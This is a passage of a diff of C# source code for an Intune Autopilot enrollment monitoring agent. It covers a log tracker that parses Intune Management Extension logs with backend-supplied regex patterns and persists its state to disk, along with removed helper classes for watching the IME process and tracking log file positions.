using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Parses IME (Intune Management Extension) log files using regex patterns from the backend.
|
||||
/// Tracks app installation state transitions and emits strategic events.
|
||||
/// Split into partial classes: Core, LogProcessing, Handlers.
|
||||
///
|
||||
/// Key design: Regex patterns are NOT hardcoded - they come from backend config via ImeLogPattern list.
|
||||
/// This allows updating patterns without agent rebuild when Microsoft changes IME log output.
|
||||
/// </summary>
|
||||
public partial class ImeLogTracker : IDisposable
|
||||
{
|
||||
private readonly string _logFolder;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly LogFilePositionTracker _positionTracker = new LogFilePositionTracker();
|
||||
private readonly AppPackageStateList _packageStates;
|
||||
private readonly int _pollingIntervalMs;
|
||||
private readonly string _matchLogPath; // Optional: path to write every matched raw line
|
||||
private readonly object _matchLogLock = new object();
|
||||
|
||||
// Compiled pattern matchers grouped by category
|
||||
private List<CompiledPattern> _patternsAlways = new List<CompiledPattern>();
|
||||
private List<CompiledPattern> _patternsCurrentPhase = new List<CompiledPattern>();
|
||||
private List<CompiledPattern> _patternsOtherPhases = new List<CompiledPattern>();
|
||||
|
||||
// Active matchers (changes based on ESP phase)
|
||||
private List<CompiledPattern> _activePatterns = new List<CompiledPattern>();
|
||||
private bool _logPhaseIsCurrentPhase = false;
|
||||
|
||||
// Phase isolation: track ALL app IDs seen during pattern matching in the current phase.
|
||||
// On phase change, these are added to the ignore list to prevent device-phase apps from
|
||||
// bleeding into AccountSetup. This is more comprehensive than only ignoring packageStates
|
||||
// because setcurrentapp, esptrackstatus etc. see IDs that never enter packageStates.
|
||||
private readonly HashSet<string> _seenAppIds = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
// Forward-only phase progression: prevents accidental phase bounce (e.g. DeviceSetup
|
||||
// re-detected during AccountSetup if IME re-evaluates device apps and logs the old phase).
|
||||
private static readonly Dictionary<string, int> EspPhaseOrder = new Dictionary<string, int>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
{ "DeviceSetup", 1 },
|
||||
{ "AccountSetup", 2 }
|
||||
};
|
||||
private int _currentPhaseOrder = 0;
|
||||
|
||||
// Snapshots of package states from completed ESP phases (e.g. DeviceSetup apps before AccountSetup starts)
|
||||
private readonly Dictionary<string, List<Dictionary<string, object>>> _phasePackageSnapshots =
|
||||
new Dictionary<string, List<Dictionary<string, object>>>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
// Simulation mode
|
||||
public bool SimulationMode { get; set; }
|
||||
public double SpeedFactor { get; set; } = 50;
|
||||
private DateTime _lastLogTimestamp = DateTime.MinValue;
|
||||
|
||||
// Background task
|
||||
private Task _pollingTask;
|
||||
private CancellationTokenSource _cts;
|
||||
private bool _allAppsCompletedFired;
|
||||
|
||||
// State persistence: saves tracker state to disk so agent restart continues
|
||||
// from the exact log position without re-parsing or re-building ignore lists.
|
||||
private readonly ImeTrackerStatePersistence _statePersistence;
|
||||
private bool _stateDirty;
|
||||
|
||||
// Standard GUID capture pattern used as {GUID} placeholder in patterns
|
||||
private const string GuidPattern = @"(?<id>[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})";
|
||||
|
||||
// Log files to monitor
|
||||
private static readonly string[] LogFilePatterns = new[]
|
||||
{
|
||||
"IntuneManagementExtension.log",
|
||||
"_IntuneManagementExtension.log",
|
||||
"IntuneManagementExtension-????????-??????.log",
|
||||
"AppWorkload.log",
|
||||
"AppWorkload-????????-??????.log",
|
||||
// PowerShell script tracking
|
||||
"AgentExecutor.log",
|
||||
"AgentExecutor-????????-??????.log",
|
||||
"HealthScripts.log",
|
||||
"HealthScripts-????????-??????.log"
|
||||
};
|
||||
|
||||
// Script execution state tracking (accumulates multi-line data before emitting events)
|
||||
private ScriptExecutionState _currentRemediationScript;
|
||||
private readonly Dictionary<string, ScriptExecutionState> _pendingPlatformScripts =
|
||||
new Dictionary<string, ScriptExecutionState>(StringComparer.OrdinalIgnoreCase);
|
||||
private string _lastPlatformScriptPolicyId;
|
||||
private const int MaxScriptOutputLength = 2048;
|
||||
private const int MaxMultiLineBufferLines = 100;
|
||||
|
||||
// Set synchronously during HandlePatternMatch so callbacks can read it
|
||||
public string LastMatchedPatternId { get; private set; }
|
||||
public DateTime? LastMatchedLogTimestamp { get; private set; }
|
||||
|
||||
// Callbacks to EnrollmentTracker
|
||||
public Action<string> OnEspPhaseChanged { get; set; }
|
||||
public Action<string> OnImeAgentVersion { get; set; }
|
||||
public Action OnImeStarted { get; set; }
|
||||
public Action<AppPackageState, AppInstallationState, AppInstallationState> OnAppStateChanged { get; set; }
|
||||
public Action<string> OnPoliciesDiscovered { get; set; }
|
||||
public Action OnAllAppsCompleted { get; set; }
|
||||
public Action OnUserSessionCompleted { get; set; }
|
||||
public Action<string> OnImeSessionChange { get; set; }
|
||||
public Action<AppPackageState> OnDoTelemetryReceived { get; set; }
|
||||
public Action<ScriptExecutionState> OnScriptCompleted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Access to the tracked package states
|
||||
/// </summary>
|
||||
public AppPackageStateList PackageStates => _packageStates;
|
||||
|
||||
/// <summary>
|
||||
/// Snapshots of package states from completed ESP phases (keyed by phase name, e.g. "DeviceSetup").
|
||||
/// Captured before package states are cleared on phase transition.
|
||||
/// </summary>
|
||||
public Dictionary<string, List<Dictionary<string, object>>> PhasePackageSnapshots => _phasePackageSnapshots;
|
||||
|
||||
public ImeLogTracker(string logFolder, List<ImeLogPattern> patterns, AgentLogger logger, int pollingIntervalMs = 100, string matchLogPath = null, string stateDirectory = null)
|
||||
{
|
||||
_logFolder = Environment.ExpandEnvironmentVariables(logFolder);
|
||||
_logger = logger;
|
||||
_pollingIntervalMs = pollingIntervalMs;
|
||||
_matchLogPath = matchLogPath;
|
||||
_packageStates = new AppPackageStateList(logger);
|
||||
|
||||
// State persistence setup
|
||||
if (!string.IsNullOrEmpty(stateDirectory))
|
||||
{
|
||||
_statePersistence = new ImeTrackerStatePersistence(stateDirectory, logger);
|
||||
}
|
||||
|
||||
if (!string.IsNullOrEmpty(_matchLogPath))
|
||||
{
|
||||
try { Directory.CreateDirectory(Path.GetDirectoryName(_matchLogPath)); } catch { }
|
||||
_logger.Info($"ImeLogTracker: match log enabled -> {_matchLogPath}");
|
||||
}
|
||||
|
||||
CompilePatterns(patterns);
|
||||
ActivatePatterns(logPhaseIsCurrentPhase: false, force: true);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compiles ImeLogPattern list from backend into Regex objects grouped by category.
|
||||
/// </summary>
|
||||
public void CompilePatterns(List<ImeLogPattern> patterns)
|
||||
{
|
||||
_patternsAlways = new List<CompiledPattern>();
|
||||
_patternsCurrentPhase = new List<CompiledPattern>();
|
||||
_patternsOtherPhases = new List<CompiledPattern>();
|
||||
|
||||
if (patterns == null) return;
|
||||
|
||||
foreach (var pattern in patterns.Where(p => p.Enabled))
|
||||
{
|
||||
try
|
||||
{
|
||||
// Replace {GUID} placeholder with actual GUID capture regex
|
||||
var regexStr = pattern.Pattern.Replace("{GUID}", GuidPattern);
|
||||
// Singleline: make '.' match newlines too — required because multiline CMTrace
|
||||
// entries are reassembled with '\n' chars (e.g. DO TEL JSON in IME >= 1.101)
|
||||
var regex = new Regex(regexStr, RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline, TimeSpan.FromSeconds(1));
|
||||
|
||||
var compiled = new CompiledPattern
|
||||
{
|
||||
PatternId = pattern.PatternId,
|
||||
Regex = regex,
|
||||
Action = pattern.Action,
|
||||
Parameters = pattern.Parameters ?? new Dictionary<string, string>()
|
||||
};
|
||||
|
||||
switch (pattern.Category?.ToLower())
|
||||
{
|
||||
case "always":
|
||||
_patternsAlways.Add(compiled);
|
||||
break;
|
||||
case "currentphase":
|
||||
_patternsCurrentPhase.Add(compiled);
|
||||
break;
|
||||
case "otherphases":
|
||||
_patternsOtherPhases.Add(compiled);
|
||||
break;
|
||||
default:
|
||||
_patternsAlways.Add(compiled); // Default to always
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to compile IME pattern {pattern.PatternId}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
_logger.Info($"ImeLogTracker: compiled {_patternsAlways.Count} always, {_patternsCurrentPhase.Count} currentPhase, {_patternsOtherPhases.Count} otherPhases patterns");
|
||||
|
||||
// Re-activate with current phase state
|
||||
ActivatePatterns(_logPhaseIsCurrentPhase, force: true);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the background polling task
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
if (_pollingTask != null) return;
|
||||
|
||||
// Restore persisted state from previous agent lifetime (handles agent restart mid-enrollment).
|
||||
// This recovers phase order, ignore list, app states, and log file positions so we continue
|
||||
// exactly where we left off — no re-parsing, no device-phase bleeding.
|
||||
LoadState();
|
||||
|
||||
_cts = new CancellationTokenSource();
|
||||
var token = _cts.Token;
|
||||
|
||||
_pollingTask = Task.Run(async () =>
|
||||
{
|
||||
_logger.Info("ImeLogTracker: polling started");
|
||||
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
await CheckLogFilesAsync(token);
|
||||
}
|
||||
catch (OperationCanceledException) { break; }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ImeLogTracker: error during log check: {ex.Message}");
|
||||
try { await Task.Delay(1000, token); } catch (OperationCanceledException) { break; }
|
||||
}
|
||||
|
||||
// Persist state after each polling cycle so agent restart continues from here
|
||||
if (_stateDirty)
|
||||
{
|
||||
SaveState();
|
||||
_stateDirty = false;
|
||||
}
|
||||
|
||||
try { await Task.Delay(_pollingIntervalMs, token); } catch (OperationCanceledException) { break; }
|
||||
}
|
||||
|
||||
// Final state save on shutdown
|
||||
if (_stateDirty)
|
||||
{
|
||||
SaveState();
|
||||
_stateDirty = false;
|
||||
}
|
||||
|
||||
_logger.Info("ImeLogTracker: polling stopped");
|
||||
}, token);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the background polling task
|
||||
/// </summary>
|
||||
public void Stop()
|
||||
{
|
||||
_cts?.Cancel();
|
||||
try { _pollingTask?.Wait(TimeSpan.FromSeconds(5)); } catch { }
|
||||
_pollingTask = null;
|
||||
}
|
||||
|
||||
#region State Persistence
|
||||
|
||||
/// <summary>
|
||||
/// Loads persisted state from disk. Called on Start() to restore tracker state
|
||||
/// after an agent restart, so parsing continues exactly where it left off.
|
||||
/// </summary>
|
||||
private void LoadState()
|
||||
{
|
||||
if (_statePersistence == null) return;
|
||||
|
||||
var state = _statePersistence.Load();
|
||||
if (state == null) return;
|
||||
|
||||
// Restore phase tracking
|
||||
_currentPhaseOrder = state.CurrentPhaseOrder;
|
||||
_lastEspPhaseDetected = state.LastEspPhaseDetected;
|
||||
_allAppsCompletedFired = state.AllAppsCompletedFired;
|
||||
_logPhaseIsCurrentPhase = state.LogPhaseIsCurrentPhase;
|
||||
|
||||
// Restore seen app IDs
|
||||
_seenAppIds.Clear();
|
||||
if (state.SeenAppIds != null)
|
||||
{
|
||||
foreach (var id in state.SeenAppIds)
|
||||
_seenAppIds.Add(id);
|
||||
}
|
||||
|
||||
// Restore ignore list
|
||||
if (state.IgnoreList != null)
|
||||
{
|
||||
foreach (var id in state.IgnoreList)
|
||||
_packageStates.AddToIgnoreList(id);
|
||||
}
|
||||
|
||||
// Restore current package ID
|
||||
_packageStates.CurrentPackageId = state.CurrentPackageId;
|
||||
|
||||
// Restore package states
|
||||
if (state.Packages != null)
|
||||
{
|
||||
_packageStates.Clear();
|
||||
foreach (var p in state.Packages)
|
||||
{
|
||||
var pkg = AppPackageState.Restore(
|
||||
p.Id, p.ListPos, p.Name,
|
||||
(AppRunAs)p.RunAs, (AppIntent)p.Intent, (AppTargeted)p.Targeted,
|
||||
p.DependsOn != null ? new HashSet<string>(p.DependsOn) : new HashSet<string>(),
|
||||
(AppInstallationState)p.InstallationState, p.DownloadingOrInstallingSeen,
|
||||
p.ProgressPercent, p.BytesDownloaded, p.BytesTotal,
|
||||
errorPatternId: p.ErrorPatternId, errorDetail: p.ErrorDetail, errorCode: p.ErrorCode,
|
||||
exitCode: p.ExitCode, hresultFromWin32: p.HResultFromWin32,
|
||||
doFileSize: p.DoFileSize, doTotalBytesDownloaded: p.DoTotalBytesDownloaded,
|
||||
doBytesFromPeers: p.DoBytesFromPeers, doPercentPeerCaching: p.DoPercentPeerCaching,
|
||||
doBytesFromLanPeers: p.DoBytesFromLanPeers, doBytesFromGroupPeers: p.DoBytesFromGroupPeers,
|
||||
doBytesFromInternetPeers: p.DoBytesFromInternetPeers, doDownloadMode: p.DoDownloadMode,
|
||||
doDownloadDuration: p.DoDownloadDuration, doBytesFromHttp: p.DoBytesFromHttp,
|
||||
hasDoTelemetry: p.HasDoTelemetry,
|
||||
appVersion: p.AppVersion, appType: p.AppType,
|
||||
attemptNumber: p.AttemptNumber, detectionResult: p.DetectionResult);
|
||||
_packageStates.Add(pkg);
|
||||
}
|
||||
}
|
||||
|
||||
// Restore file positions
|
||||
if (state.FilePositions != null)
|
||||
{
|
||||
foreach (var kvp in state.FilePositions)
|
||||
{
|
||||
var fullPath = Path.Combine(_logFolder, kvp.Key);
|
||||
_positionTracker.RestorePosition(fullPath, kvp.Value.Position, kvp.Value.LastKnownSize);
|
||||
}
|
||||
}
|
||||
|
||||
// Re-activate patterns based on restored phase state
|
||||
ActivatePatterns(_logPhaseIsCurrentPhase, force: true);
|
||||
|
||||
_logger.Info($"ImeLogTracker: state restored - phase: {_lastEspPhaseDetected ?? "(none)"} (order: {_currentPhaseOrder}), " +
|
||||
$"ignore list: {_packageStates.IgnoreList.Count}, packages: {_packageStates.Count}, " +
|
||||
$"file positions: {state.FilePositions?.Count ?? 0}");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists current tracker state to disk as JSON.
|
||||
/// Called after each polling cycle when state has changed.
|
||||
/// </summary>
|
||||
private void SaveState()
|
||||
{
|
||||
if (_statePersistence == null) return;
|
||||
|
||||
// Build state DTO
|
||||
var state = new ImeTrackerStateData
|
||||
{
|
||||
CurrentPhaseOrder = _currentPhaseOrder,
|
||||
LastEspPhaseDetected = _lastEspPhaseDetected,
|
||||
AllAppsCompletedFired = _allAppsCompletedFired,
|
||||
LogPhaseIsCurrentPhase = _logPhaseIsCurrentPhase,
|
||||
SeenAppIds = _seenAppIds.ToList(),
|
||||
IgnoreList = _packageStates.IgnoreList.ToList(),
|
||||
CurrentPackageId = _packageStates.CurrentPackageId,
|
||||
Packages = _packageStates.Select(p => new PackageStateData
|
||||
{
|
||||
Id = p.Id,
|
||||
ListPos = p.ListPos,
|
||||
Name = p.Name,
|
||||
RunAs = (int)p.RunAs,
|
||||
Intent = (int)p.Intent,
|
||||
Targeted = (int)p.Targeted,
|
||||
DependsOn = p.DependsOn?.ToList() ?? new List<string>(),
|
||||
InstallationState = (int)p.InstallationState,
|
||||
DownloadingOrInstallingSeen = p.DownloadingOrInstallingSeen,
|
||||
ProgressPercent = p.ProgressPercent,
|
||||
BytesDownloaded = p.BytesDownloaded,
|
||||
BytesTotal = p.BytesTotal,
|
||||
ErrorPatternId = p.ErrorPatternId,
|
||||
ErrorDetail = p.ErrorDetail,
|
||||
ErrorCode = p.ErrorCode,
|
||||
ExitCode = p.ExitCode,
|
||||
HResultFromWin32 = p.HResultFromWin32,
|
||||
DoFileSize = p.DoFileSize,
|
||||
DoTotalBytesDownloaded = p.DoTotalBytesDownloaded,
|
||||
DoBytesFromPeers = p.DoBytesFromPeers,
|
||||
DoPercentPeerCaching = p.DoPercentPeerCaching,
|
||||
DoBytesFromLanPeers = p.DoBytesFromLanPeers,
|
||||
DoBytesFromGroupPeers = p.DoBytesFromGroupPeers,
|
||||
DoBytesFromInternetPeers = p.DoBytesFromInternetPeers,
|
||||
DoDownloadMode = p.DoDownloadMode,
|
||||
DoDownloadDuration = p.DoDownloadDuration,
|
||||
DoBytesFromHttp = p.DoBytesFromHttp,
|
||||
HasDoTelemetry = p.HasDoTelemetry,
|
||||
AppVersion = p.AppVersion,
|
||||
AppType = p.AppType,
|
||||
AttemptNumber = p.AttemptNumber,
|
||||
DetectionResult = p.DetectionResult
|
||||
}).ToList(),
|
||||
FilePositions = new Dictionary<string, FilePositionData>()
|
||||
};
|
||||
|
||||
// Store file positions by filename only (log folder is known)
|
||||
foreach (var kvp in _positionTracker.GetAllPositions())
|
||||
{
|
||||
var fileName = Path.GetFileName(kvp.Key);
|
||||
state.FilePositions[fileName] = new FilePositionData
|
||||
{
|
||||
Position = kvp.Value.Position,
|
||||
LastKnownSize = kvp.Value.LastKnownSize
|
||||
};
|
||||
}
|
||||
|
||||
_statePersistence.Save(state);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes persisted state file. Called on enrollment complete to ensure
|
||||
/// a fresh state on the next enrollment cycle.
|
||||
/// </summary>
|
||||
public void DeleteState()
|
||||
{
|
||||
_statePersistence?.Delete();
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,146 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Watches for IntuneManagementExtension.exe process exit.
|
||||
/// Discovers the process once (with retry every 5s), then attaches Process.Exited —
|
||||
/// no continuous polling after the process is found.
|
||||
/// Emits ime_process_exited when the process terminates.
|
||||
/// </summary>
|
||||
public class ImeProcessWatcher : IDisposable
|
||||
{
|
||||
private const string ImeProcessName = "IntuneManagementExtension";
|
||||
private const int DiscoveryIntervalSeconds = 5;
|
||||
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
private Timer _discoveryTimer;
|
||||
private Process _imeProcess;
|
||||
private bool _disposed;
|
||||
private readonly object _lock = new object();
|
||||
|
||||
public ImeProcessWatcher(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger)
|
||||
{
|
||||
_sessionId = sessionId;
|
||||
_tenantId = tenantId;
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
_logger.Info($"ImeProcessWatcher: starting (discovery every {DiscoveryIntervalSeconds}s until {ImeProcessName}.exe is found)");
|
||||
_discoveryTimer = new Timer(TryAttach, null, TimeSpan.FromSeconds(3), TimeSpan.FromSeconds(DiscoveryIntervalSeconds));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to find and attach to IntuneManagementExtension.exe.
|
||||
/// Stops the discovery timer once attached — switches to pure event-driven from there.
|
||||
/// </summary>
|
||||
private void TryAttach(object state)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (_disposed || _imeProcess != null)
|
||||
return;
|
||||
|
||||
Process[] candidates = null;
|
||||
try
|
||||
{
|
||||
candidates = Process.GetProcessesByName(ImeProcessName);
|
||||
if (candidates.Length == 0)
|
||||
return;
|
||||
|
||||
var proc = candidates[0];
|
||||
for (int i = 1; i < candidates.Length; i++)
|
||||
candidates[i].Dispose();
|
||||
|
||||
proc.EnableRaisingEvents = true;
|
||||
proc.Exited += OnImeExited;
|
||||
_imeProcess = proc;
|
||||
|
||||
// Suspend discovery timer — now event-driven
|
||||
_discoveryTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
|
||||
_logger.Info($"ImeProcessWatcher: attached to {ImeProcessName}.exe (PID={proc.Id})");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"ImeProcessWatcher: could not attach to {ImeProcessName}.exe: {ex.Message}");
|
||||
|
||||
// Dispose any leftover handles from the failed attempt
|
||||
if (candidates != null)
|
||||
foreach (var p in candidates)
|
||||
try { p.Dispose(); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnImeExited(object sender, EventArgs e)
|
||||
{
|
||||
if (!(sender is Process proc))
|
||||
return;
|
||||
|
||||
int pid = -1;
|
||||
int exitCode = -1;
|
||||
double uptimeSeconds = 0;
|
||||
|
||||
try { pid = proc.Id; } catch { }
|
||||
try { exitCode = proc.ExitCode; } catch { }
|
||||
try { uptimeSeconds = (proc.ExitTime - proc.StartTime).TotalSeconds; } catch { }
|
||||
|
||||
_logger.Info($"ImeProcessWatcher: {ImeProcessName}.exe exited (PID={pid}, exit={exitCode}, uptime={uptimeSeconds:F0}s)");
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "ime_process_exited",
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "ImeProcessWatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"{ImeProcessName}.exe exited (PID={pid}, exit code={exitCode})",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "processName", ImeProcessName },
|
||||
{ "pid", pid },
|
||||
{ "exitCode", exitCode },
|
||||
{ "imeUptimeSeconds", Math.Round(uptimeSeconds, 0) }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (_disposed) return;
|
||||
_disposed = true;
|
||||
|
||||
_discoveryTimer?.Dispose();
|
||||
_discoveryTimer = null;
|
||||
|
||||
if (_imeProcess != null)
|
||||
{
|
||||
try { _imeProcess.Exited -= OnImeExited; } catch { }
|
||||
_imeProcess.Dispose();
|
||||
_imeProcess = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-160
@@ -1,160 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles persistence of ImeLogTracker state to disk (JSON serialization).
|
||||
/// Extracted from ImeLogTracker to separate I/O concerns from log parsing.
|
||||
/// </summary>
|
||||
public class ImeTrackerStatePersistence
|
||||
{
|
||||
private readonly string _stateDirectory;
|
||||
private readonly string _stateFilePath;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
public ImeTrackerStatePersistence(string stateDirectory, AgentLogger logger)
|
||||
{
|
||||
_stateDirectory = Environment.ExpandEnvironmentVariables(stateDirectory);
|
||||
_stateFilePath = Path.Combine(_stateDirectory, "ime-tracker-state.json");
|
||||
_logger = logger;
|
||||
}
|
||||
|
||||
public string StateFilePath => _stateFilePath;
|
||||
|
||||
/// <summary>
|
||||
/// Loads persisted state from disk. Returns null if no state file exists or on error.
|
||||
/// </summary>
|
||||
public ImeTrackerStateData Load()
|
||||
{
|
||||
if (!File.Exists(_stateFilePath))
|
||||
{
|
||||
_logger.Info("ImeLogTracker: no persisted state found (fresh enrollment)");
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var json = File.ReadAllText(_stateFilePath);
|
||||
var state = JsonConvert.DeserializeObject<ImeTrackerStateData>(json);
|
||||
if (state == null)
|
||||
{
|
||||
_logger.Warning("ImeLogTracker: persisted state file was empty or invalid");
|
||||
return null;
|
||||
}
|
||||
return state;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ImeLogTracker: failed to load persisted state, starting fresh: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists tracker state to disk as JSON (atomic write via temp file).
|
||||
/// </summary>
|
||||
public void Save(ImeTrackerStateData state)
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(_stateDirectory);
|
||||
var tempPath = _stateFilePath + ".tmp";
|
||||
File.WriteAllText(tempPath, JsonConvert.SerializeObject(state, Formatting.Indented));
|
||||
File.Copy(tempPath, _stateFilePath, overwrite: true);
|
||||
try { File.Delete(tempPath); } catch { }
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: failed to save state: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes persisted state file.
|
||||
/// </summary>
|
||||
public void Delete()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_stateFilePath))
|
||||
{
|
||||
File.Delete(_stateFilePath);
|
||||
_logger.Info("ImeLogTracker: persisted state deleted");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: failed to delete state file: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- DTOs for state serialization ----
|
||||
|
||||
public class ImeTrackerStateData
|
||||
{
|
||||
public int CurrentPhaseOrder { get; set; }
|
||||
public string LastEspPhaseDetected { get; set; }
|
||||
public bool AllAppsCompletedFired { get; set; }
|
||||
public bool LogPhaseIsCurrentPhase { get; set; }
|
||||
public List<string> SeenAppIds { get; set; }
|
||||
public List<string> IgnoreList { get; set; }
|
||||
public string CurrentPackageId { get; set; }
|
||||
public List<PackageStateData> Packages { get; set; }
|
||||
public Dictionary<string, FilePositionData> FilePositions { get; set; }
|
||||
}
|
||||
|
||||
public class PackageStateData
|
||||
{
|
||||
public string Id { get; set; }
|
||||
public int ListPos { get; set; }
|
||||
public string Name { get; set; }
|
||||
public int RunAs { get; set; }
|
||||
public int Intent { get; set; }
|
||||
public int Targeted { get; set; }
|
||||
public List<string> DependsOn { get; set; }
|
||||
public int InstallationState { get; set; }
|
||||
public bool DownloadingOrInstallingSeen { get; set; }
|
||||
public int? ProgressPercent { get; set; }
|
||||
public long BytesDownloaded { get; set; }
|
||||
public long BytesTotal { get; set; }
|
||||
|
||||
// Error context
|
||||
public string ErrorPatternId { get; set; }
|
||||
public string ErrorDetail { get; set; }
|
||||
public string ErrorCode { get; set; }
|
||||
|
||||
// Installer result codes
|
||||
public string ExitCode { get; set; }
|
||||
public string HResultFromWin32 { get; set; }
|
||||
|
||||
// Delivery Optimization telemetry
|
||||
public long DoFileSize { get; set; }
|
||||
public long DoTotalBytesDownloaded { get; set; }
|
||||
public long DoBytesFromPeers { get; set; }
|
||||
public int DoPercentPeerCaching { get; set; }
|
||||
public long DoBytesFromLanPeers { get; set; }
|
||||
public long DoBytesFromGroupPeers { get; set; }
|
||||
public long DoBytesFromInternetPeers { get; set; }
|
||||
public int DoDownloadMode { get; set; } = -1;
|
||||
public string DoDownloadDuration { get; set; }
|
||||
public long DoBytesFromHttp { get; set; }
|
||||
public bool HasDoTelemetry { get; set; }
|
||||
|
||||
// App metadata (captured from IME logs for App Dashboard reporting)
|
||||
public string AppVersion { get; set; }
|
||||
public string AppType { get; set; }
|
||||
public int AttemptNumber { get; set; }
|
||||
public string DetectionResult { get; set; }
|
||||
}
|
||||
|
||||
public class FilePositionData
|
||||
{
|
||||
public long Position { get; set; }
|
||||
public long LastKnownSize { get; set; }
|
||||
}
|
||||
}
|
||||
-98
@@ -1,98 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Tracks file read positions for incremental log file reading.
|
||||
/// In-memory only - resets on agent restart, which is acceptable since
|
||||
/// we start fresh per enrollment session.
|
||||
/// </summary>
|
||||
public class LogFilePositionTracker
|
||||
{
|
||||
private readonly Dictionary<string, FilePositionState> _positions
|
||||
= new Dictionary<string, FilePositionState>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
/// <summary>
|
||||
/// Gets the safe read position for a file, detecting rollover/truncation.
|
||||
/// If the current file size is smaller than the stored position, the file
|
||||
/// has been rotated - resets to 0 to read from beginning.
|
||||
/// Returns 0 if no position has been recorded yet.
|
||||
/// </summary>
|
||||
public long GetSafePosition(string filePath, long currentFileSize)
|
||||
{
|
||||
FilePositionState state;
|
||||
if (!_positions.TryGetValue(filePath, out state))
|
||||
return 0;
|
||||
|
||||
// Detect rollover: file is smaller than our stored position
|
||||
if (currentFileSize < state.Position)
|
||||
{
|
||||
state.Position = 0;
|
||||
state.LastKnownSize = currentFileSize;
|
||||
return 0;
|
||||
}
|
||||
|
||||
return state.Position;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
